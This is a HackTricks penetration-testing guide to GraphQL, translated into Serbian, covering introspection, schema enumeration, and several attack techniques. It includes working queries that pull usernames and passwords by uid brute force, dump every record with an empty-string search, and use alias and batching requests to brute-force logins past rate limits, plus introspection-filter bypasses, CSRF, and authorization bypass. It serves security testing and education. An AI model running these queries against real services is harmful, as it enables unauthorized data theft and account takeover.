# GraphQL {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## Introduction GraphQL je **istaknut** kao **efikasna alternativa** REST API-ju, nudeći pojednostavljen pristup za upit podataka sa backend-a. U poređenju sa REST-om, koji često zahteva brojne zahteve preko različitih krajnjih tačaka za prikupljanje podataka, GraphQL omogućava preuzimanje svih potrebnih informacija putem **jednog zahteva**. Ova pojednostavljenja značajno **pomažu programerima** smanjujući složenost njihovih procesa preuzimanja podataka. ## GraphQL i bezbednost Sa pojavom novih tehnologija, uključujući GraphQL, pojavljuju se i nove bezbednosne ranjivosti. Ključna tačka koju treba napomenuti je da **GraphQL po defaultu ne uključuje mehanizme autentifikacije**. Odgovornost je programera da implementiraju takve bezbednosne mere. Bez odgovarajuće autentifikacije, GraphQL krajnje tačke mogu izložiti osetljive informacije neautentifikovanim korisnicima, što predstavlja značajan bezbednosni rizik. ### Napadi brute force na direktorijume i GraphQL Da bi se identifikovale izložene GraphQL instance, preporučuje se uključivanje specifičnih putanja u napade brute force na direktorijume. Ove putanje su: * `/graphql` * `/graphiql` * `/graphql.php` * `/graphql/console` * `/api` * `/api/graphql` * `/graphql/api` * `/graphql/graphql` Identifikacija otvorenih GraphQL instanci omogućava ispitivanje podržanih upita. Ovo je ključno za razumevanje podataka dostupnih putem krajnje tačke. GraphQL-ov introspekcioni sistem olakšava ovo detaljno prikazujući upite koje šema podržava. Za više informacija o tome, pogledajte GraphQL dokumentaciju o introspekciji: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/) ### Otisak Alat [**graphw00f**](https://github.com/dolevf/graphw00f) je sposoban da detektuje koji GraphQL engine se koristi na serveru i zatim ispisuje neke korisne informacije za bezbednosnog revizora. #### Univerzalni upiti Da bi se proverilo da li je URL GraphQL servis, može se poslati **univerzalni upit**, `query{__typename}`. Ako odgovor uključuje `{"data": {"__typename": "Query"}}`, to potvrđuje da URL hostuje GraphQL krajnju tačku. Ova metoda se oslanja na GraphQL-ovo polje `__typename`, koje otkriva tip upitnog objekta. ```javascript query{__typename} ``` ### Osnovna Enumeracija Graphql obično podržava **GET**, **POST** (x-www-form-urlencoded) i **POST**(json). Iako se iz bezbednosnih razloga preporučuje da se dozvoli samo json kako bi se sprečili CSRF napadi. #### Introspekcija Da biste koristili introspekciju za otkrivanje informacija o šemi, upitite polje `__schema`. Ovo polje je dostupno na korenskom tipu svih upita. ```bash query={__schema{types{name,fields{name}}}} ``` Sa ovom upitom ćete pronaći imena svih tipova koji se koriste: ![](<../../.gitbook/assets/image (1036).png>) {% code overflow="wrap" %} ```bash query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}} ``` {% endcode %} Sa ovom upitom možete izvući sve tipove, njihova polja i njihove argumente (i tip argumenata). Ovo će biti veoma korisno za razumevanje kako da upitujete bazu podataka. ![](<../../.gitbook/assets/image (950).png>) **Greške** Zanimljivo je znati da li će se **greške** prikazivati jer će doprineti korisnim **informacijama.** ``` ?query={__schema} ?query={} ?query={thisdefinitelydoesnotexist} ``` ![](<../../.gitbook/assets/image (416).png>) **Enumerisanje šeme baze podataka putem introspekcije** {% hint style="info" %} Ako je introspekcija omogućena, ali gornji upit ne radi, pokušajte da uklonite `onOperation`, `onFragment` i `onField` direktive iz strukture upita. {% endhint %} ```bash #Full introspection query query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description args { ...InputValue } onOperation #Often needs to be deleted to run query onFragment #Often needs to be deleted to run query onField #Often needs to be deleted to run query } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name } } } } ``` Inline introspection query: ``` /?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+} ``` Poslednja linija koda je graphql upit koji će izbaciti sve meta-informacije iz graphql (imena objekata, parametre, tipove...) ![](<../../.gitbook/assets/image (363).png>) Ako je introspekcija omogućena, možete koristiti [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) da u GUI-u vidite sve opcije. ### Upit Sada kada znamo koje vrste informacija su sačuvane unutar baze podataka, hajde da pokušamo da **izvučemo neke vrednosti**. U introspekciji možete pronaći **koji objekat možete direktno upititi** (jer ne možete upititi objekat samo zato što postoji). Na sledećoj slici možete videti da se "_queryType_" zove "_Query_" i da je jedno od polja objekta "_Query_" "_flags_", koji je takođe tip objekta. Stoga možete upititi objekat zastavice. ![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-17-48.png>) Napomena: tip upita "_flags_" je "_Flags_", a ovaj objekat je definisan kao ispod: ![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-22-57 (1).png>) Možete videti da se objekti "_Flags_" sastoje od **name** i **value**. Zatim možete dobiti sve nazive i vrednosti zastavica sa upitom: ```javascript query={flags{name, value}} ``` Napomena da u slučaju da je **objekat za upit** **primitivna** **vrsta** kao što je **string** kao u sledećem primeru ![](<../../.gitbook/assets/image (958).png>) Možete ga jednostavno upititi sa: ```javascript query={hiddenFlags} ``` U drugom primeru gde su bila 2 objekta unutar objekta tipa "_Query_": "_user_" i "_users_".\ Ako ovim objektima nisu potrebni argumenti za pretragu, mogli bismo **izvući sve informacije iz njih** jednostavno **tražeći** podatke koje želimo. U ovom primeru sa Interneta mogli bismo izvući sačuvana korisnička imena i lozinke: ![](<../../.gitbook/assets/image (880).png>) Međutim, u ovom primeru, ako pokušate to da uradite, dobijate ovu **grešku**: ![](<../../.gitbook/assets/image (1042).png>) Izgleda da će nekako pretraživati koristeći argument "_**uid**_" tipa _**Int**_.\ U svakom slučaju, već smo znali da je u sekciji [Basic Enumeration](graphql.md#basic-enumeration) predložen upit koji nam je pokazivao sve potrebne informacije: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` Ako pročitate sliku koju sam priložio kada sam pokrenuo taj upit, videćete da je "_**user**_" imao **arg** "_**uid**_" tipa _Int_. Dakle, obavljajući malo _**uid**_ bruteforce-a, otkrio sam da je za _**uid**=**1**_ izvučeno korisničko ime i lozinka:\ `query={user(uid:1){user,password}}` ![](<../../.gitbook/assets/image (90).png>) Napomena da sam **otkrio** da mogu da tražim **parametre** "_**user**_" i "_**password**_" jer ako pokušam da tražim nešto što ne postoji (`query={user(uid:1){noExists}}`) dobijam ovu grešku: ![](<../../.gitbook/assets/image (707).png>) I tokom **faze enumeracije** otkrio sam da objekat "_**dbuser**_" ima kao polja "_**user**_" i "_**password**_. **Trik sa dump-ovanjem upitnog stringa (zahvaljujući @BinaryShadow\_)** Ako možete da pretražujete po string tipu, kao: `query={theusers(description: ""){username,password}}` i **tražite prazan string**, to će **dump-ovati sve podatke**. (_Napomena: ovaj primer nije povezan sa primerom iz tutorijala, za ovaj primer pretpostavite da možete da pretražujete koristeći "**theusers**" po string polju nazvanom "**description**"_). ### Pretraga U ovoj postavci, **baza podataka** sadrži **osobe** i **filmove**. **Osobe** su identifikovane po svom **emailu** i **imenu**; **filmovi** po svom **imenu** i **oceni**. **Osobe** mogu biti prijatelji jedni s drugima i takođe imati filmove, što ukazuje na odnose unutar baze podataka. Možete **pretraživati** osobe **po** **imenu** i dobiti njihove email adrese: ```javascript { searchPerson(name: "John Doe") { email } } ``` Možete **pretraživati** osobe **po** **imenu** i dobiti njihove **pretplaćene** **filmove**: ```javascript { searchPerson(name: "John Doe") { email subscribedMovies { edges { node { name } } } } } ``` Napomena kako je naznačeno da se preuzme `name` od `subscribedMovies` osobe. Takođe možete **pretraživati više objekata u isto vreme**. U ovom slučaju, pretražuju se 2 filma: ```javascript { searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) { name } }r ``` Ili čak **odnosi nekoliko različitih objekata koristeći alias-e**: ```javascript { johnsMovieList: searchPerson(name: "John Doe") { subscribedMovies { edges { node { name } } } } davidsMovieList: searchPerson(name: "David Smith") { subscribedMovies { edges { node { name } } } } } ``` ### Mutacije **Mutacije se koriste za pravljenje promena na serverskoj strani.** U **introspekciji** možete pronaći **deklarisane** **mutacije**. Na sledećem slici "_MutationType_" se zove "_Mutation_" i objekat "_Mutation_" sadrži imena mutacija (kao što je "_addPerson_" u ovom slučaju): ![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-26-27 (1).png>) U ovoj postavci, **baza podataka** sadrži **osobe** i **filmove**. **Osobe** se identifikuju po svom **emailu** i **imenu**; **filmovi** po svom **imenu** i **oceni**. **Osobe** mogu biti prijatelji jedni s drugima i takođe imati filmove, što ukazuje na odnose unutar baze podataka. Mutacija za **kreiranje novih** filmova unutar baze podataka može izgledati kao sledeća (u ovom primeru mutacija se zove `addMovie`): ```javascript mutation { addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) { movies { name rating } } } ``` **Napomena kako su i vrednosti i tip podataka naznačeni u upitu.** Pored toga, baza podataka podržava **mutation** operaciju, nazvanu `addPerson`, koja omogućava kreiranje **persons** zajedno sa njihovim asocijacijama na postojeće **friends** i **movies**. Ključno je napomenuti da prijatelji i filmovi moraju prethodno postojati u bazi podataka pre nego što ih povežete sa novokreiranim osobom. ```javascript mutation { addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) { person { name email friends { edges { node { name email } } } subscribedMovies { edges { node { name rating releaseYear } } } } } } ``` ### Direktiva Preopterećenja Kao što je objašnjeno u [**jednoj od ranjivosti opisanim u ovom izveštaju**](https://www.landh.tech/blog/20240304-google-hack-50000/), direktiva preopterećenja podrazumeva pozivanje direktive čak i milion puta kako bi se server naterao da troši operacije dok ne postane moguće izvršiti DoS napad. ### Grupisanje brute-force u 1 API zahtevu Ove informacije su preuzete sa [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\ Autentifikacija putem GraphQL API sa **istovremenim slanjem mnogih upita sa različitim akreditivima** da bi se proverilo. To je klasičan brute force napad, ali sada je moguće poslati više od jednog para korisničkog imena/lozinke po HTTP zahtevu zbog GraphQL grupisanja. Ovaj pristup bi prevario spoljne aplikacije za praćenje brzine misleći da je sve u redu i da ne postoji bot za brute-forcing koji pokušava da pogodi lozinke. Ispod možete pronaći najjednostavniju demonstraciju zahteva za autentifikaciju aplikacije, sa **3 različita para email/lozinka u isto vreme**. Očigledno je moguće poslati hiljade u jednom zahtevu na isti način: ![](<../../.gitbook/assets/image (1081).png>) Kao što možemo videti iz snimka odgovora, prvi i treći zahtevi su vratili _null_ i reflektovali odgovarajuće informacije u _error_ sekciji. **Druga mutacija je imala ispravne** podatke za autentifikaciju i odgovor ima ispravan token sesije za autentifikaciju. ![](<../../.gitbook/assets/image (119) (1).png>) ## GraphQL Bez Introspekcije Sve više **graphql krajnjih tačaka onemogućava introspekciju**. Međutim, greške koje graphql baca kada se primi neočekivani zahtev su dovoljne za alate poput [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) da rekreiraju većinu šeme. Štaviše, Burp Suite ekstenzija [**GraphQuail**](https://github.com/forcesunseen/graphquail) **posmatra GraphQL API zahteve koji prolaze kroz Burp** i **gradi** internu GraphQL **šemu** sa svakim novim upitom koji vidi. Takođe može izložiti šemu za GraphiQL i Voyager. Ekstenzija vraća lažni odgovor kada primi upit za introspekciju. Kao rezultat, GraphQuail prikazuje sve upite, argumente i polja dostupna za korišćenje unutar API-ja. Za više informacija [**proverite ovo**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). Lepa **lista reči** za otkrivanje [**GraphQL entiteta može se pronaći ovde**](https://github.com/Escape-Technologies/graphql-wordlist?). ### Zaobilaženje GraphQL introspekcijskih odbrana Da bi se zaobišle restrikcije na upite za introspekciju u API-jima, umetanje **posebnog karaktera nakon `__schema` ključne reči** se pokazuje kao efikasno. Ova metoda koristi uobičajene propuste programera u regex obrascima koji imaju za cilj da blokiraju introspekciju fokusirajući se na `__schema` ključnu reč. Dodavanjem karaktera kao što su **razmaci, novi redovi i zarezi**, koje GraphQL ignoriše, ali možda nisu uzeti u obzir u regex-u, restrikcije se mogu zaobići. Na primer, upit za introspekciju sa novim redom nakon `__schema` može zaobići takve odbrane: ```bash # Example with newline to bypass { "query": "query{__schema {queryType{name}}}" } ``` Ako ne uspe, razmotrite alternativne metode zahteva, kao što su **GET zahtevi** ili **POST sa `x-www-form-urlencoded`**, pošto se ograničenja mogu primenjivati samo na POST zahteve. ### Pokušajte sa WebSockets Kao što je pomenuto u [**ovom predavanju**](https://www.youtube.com/watch?v=tIo\_t5uUK50), proverite da li bi moglo biti moguće povezati se sa graphQL putem WebSockets, jer bi to moglo omogućiti da zaobiđete potencijalni WAF i da komunikacija putem websocket-a otkrije šemu graphQL-a: ```javascript ws = new WebSocket('wss://target/graphql', 'graphql-ws'); ws.onopen = function start(event) { var GQL_CALL = { extensions: {}, query: ` { __schema { _types { name } } }` } var graphqlMsg = { type: 'GQL.START', id: '1', payload: GQL_CALL, }; ws.send(JSON.stringify(graphqlMsg)); } ``` ### **Otkriće Izloženih GraphQL Struktura** Kada je introspekcija onemogućena, ispitivanje izvornog koda veb sajta za unapred učitane upite u JavaScript bibliotekama je korisna strategija. Ovi upiti se mogu pronaći koristeći `Sources` karticu u alatima za razvoj, pružajući uvide u šemu API-ja i otkrivajući potencijalno **izložene osetljive upite**. Komande za pretragu unutar alata za razvoj su: ```javascript Inspect/Sources/"Search all files" file:* mutation file:* query ``` ## CSRF u GraphQL Ako ne znate šta je CSRF, pročitajte sledeću stranicu: {% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %} [csrf-cross-site-request-forgery.md](../../pentesting-web/csrf-cross-site-request-forgery.md) {% endcontent-ref %} Napolju ćete moći da pronađete nekoliko GraphQL krajnjih tačaka **konfiguranih bez CSRF tokena.** Imajte na umu da se GraphQL zahtevi obično šalju putem POST zahteva koristeći Content-Type **`application/json`**. ```javascript {"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"} ``` Međutim, većina GraphQL krajnjih tačaka takođe podržava **`form-urlencoded` POST zahteve:** ```javascript query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A ``` Zato, pošto se CSRF zahtevi poput prethodnih šalju **bez preflight zahteva**, moguće je **izvršiti** **promene** u GraphQL zloupotrebom CSRF. Međutim, imajte na umu da je nova podrazumevana vrednost kolačića za `samesite` oznaku u Chrome-u `Lax`. To znači da će kolačić biti poslat samo sa treće strane u GET zahtevima. Imajte na umu da je obično moguće poslati **query** **zahtev** takođe kao **GET** **zahtev i CSRF token možda neće biti validiran u GET zahtevu.** Takođe, zloupotrebom [**XS-Search**](../../pentesting-web/xs-search/) **napada** može biti moguće exfiltrirati sadržaj sa GraphQL krajnje tačke zloupotrebom kredencijala korisnika. Za više informacija **proverite** [**originalni post ovde**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html). ## Preuzimanje WebSocket-a između sajtova u GraphQL Slično CRSF ranjivostima koje zloupotrebljavaju GraphQL, takođe je moguće izvršiti **preuzimanje WebSocket-a između sajtova kako bi se zloupotrebila autentifikacija sa GraphQL sa nezaštićenim kolačićima** i naterati korisnika da izvrši neočekivane radnje u GraphQL. Za više informacija proverite: {% content-ref url="../../pentesting-web/websocket-attacks.md" %} [websocket-attacks.md](../../pentesting-web/websocket-attacks.md) {% endcontent-ref %} ## Autorizacija u GraphQL Mnoge GraphQL funkcije definisane na krajnjoj tački mogu samo proveravati autentifikaciju zahtevača, ali ne i autorizaciju. Modifikovanje ulaznih varijabli upita može dovesti do osetljivih podataka o računu [leak](https://hackerone.com/reports/792927). Mutacija može čak dovesti do preuzimanja računa pokušavajući da modifikuje podatke o drugom računu. ```javascript { "operationName":"updateProfile", "variables":{"username":INJECT,"data":INJECT}, "query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}" } ``` ### Bypass autorizacije u GraphQL [Spajanje upita](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) može zaobići slab sistem autentifikacije. U donjem primeru možete videti da je operacija "forgotPassword" i da bi trebala da izvrši samo forgotPassword upit povezan sa njom. Ovo se može zaobići dodavanjem upita na kraj, u ovom slučaju dodajemo "register" i promenljivu korisnika kako bi se sistem registrovao kao novi korisnik.
## Zaobilaženje ograničenja brzine korišćenjem aliasa u GraphQL U GraphQL-u, aliasi su moćna funkcija koja omogućava **izričito imenovanje svojstava** prilikom slanja API zahteva. Ova sposobnost je posebno korisna za preuzimanje **više instanci istog tipa** objekta unutar jednog zahteva. Aliasi se mogu koristiti za prevazilaženje ograničenja koja sprečavaju GraphQL objekte da imaju više svojstava sa istim imenom. Za detaljno razumevanje GraphQL aliasa, preporučuje se sledeći resurs: [Aliasi](https://portswigger.net/web-security/graphql/what-is-graphql#aliases). Dok je primarna svrha aliasa smanjenje potrebe za brojnim API pozivima, identifikovan je nenamerni slučaj upotrebe gde se aliasi mogu iskoristiti za izvođenje brute force napada na GraphQL endpoint. Ovo je moguće jer su neki endpointi zaštićeni ograničivačima brzine dizajniranim da spreče brute force napade ograničavanjem **broja HTTP zahteva**. Međutim, ovi ograničivači brzine možda ne uzimaju u obzir broj operacija unutar svakog zahteva. S obzirom na to da aliasi omogućavaju uključivanje više upita u jedan HTTP zahtev, mogu zaobići takve mere ograničenja brzine. Razmotrite primer dat ispod, koji ilustruje kako se upiti sa aliasima mogu koristiti za verifikaciju validnosti kodova za popust u prodavnici. Ova metoda bi mogla zaobići ograničenje brzine jer kompilira nekoliko upita u jedan HTTP zahtev, potencijalno omogućavajući verifikaciju brojnih kodova za popust istovremeno. ```bash # Example of a request utilizing aliased queries to check for valid discount codes query isValidDiscount($code: Int) { isvalidDiscount(code:$code){ valid } isValidDiscount2:isValidDiscount(code:$code){ valid } isValidDiscount3:isValidDiscount(code:$code){ valid } } ``` ## Alati ### Skeneri ranjivosti * [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Testira uobičajene pogrešne konfiguracije graphql krajnjih tačaka * [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Skripta za bezbednosno audiranje GraphQL-a sa fokusom na izvođenje serijskih GraphQL upita i mutacija. * [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Prepoznaje korišćeni graphql * [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Alat koji se može koristiti za preuzimanje šema i pretragu osetljivih podataka, testiranje autorizacije, brute force šema i pronalaženje puteva do datog tipa. * [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Može se koristiti kao samostalni alat ili [Burp ekstenzija](https://github.com/doyensec/inql). * [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Može se koristiti kao CLI klijent takođe za automatizaciju napada * [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Alat koji navodi različite načine **dostizanja datog tipa u GraphQL šemi**. * [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Naslednik samostalnog i CLI moda InQL-a * [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp ekstenzija za napredno testiranje GraphQL-a. _**Skener**_ je srž InQL v5.0, gde možete analizirati GraphQL krajnju tačku ili lokalnu introspekcijsku šemu. Automatski generiše sve moguće upite i mutacije, organizujući ih u strukturirani prikaz za vašu analizu. _**Napadač**_ komponenta vam omogućava da izvršite serijske GraphQL napade, što može biti korisno za zaobilaženje loše implementiranih ograničenja brzine. * [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Pokušajte da dobijete šemu čak i kada je introspekcija onemogućena koristeći pomoć nekih Graphql baza podataka koje će sugerisati imena mutacija i parametara. ### Klijenti * [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): GUI klijent * [https://altair.sirmuel.design/](https://altair.sirmuel.design/): GUI Klijent ### Automatski testovi {% embed url="https://graphql-dashboard.herokuapp.com/" %} * Video koji objašnjava AutoGraphQL: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU) ## Reference * [**https://jondow.eu/practical-graphql-attack-vectors/**](https://jondow.eu/practical-graphql-attack-vectors/) * [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696) * [**https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4**](https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4) * [**http://ghostlulz.com/api-hacking-graphql/**](http://ghostlulz.com/api-hacking-graphql/) * [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md) * [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696) * [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql) {% hint style="success" %} Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Podrška HackTricks * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
{% endhint %}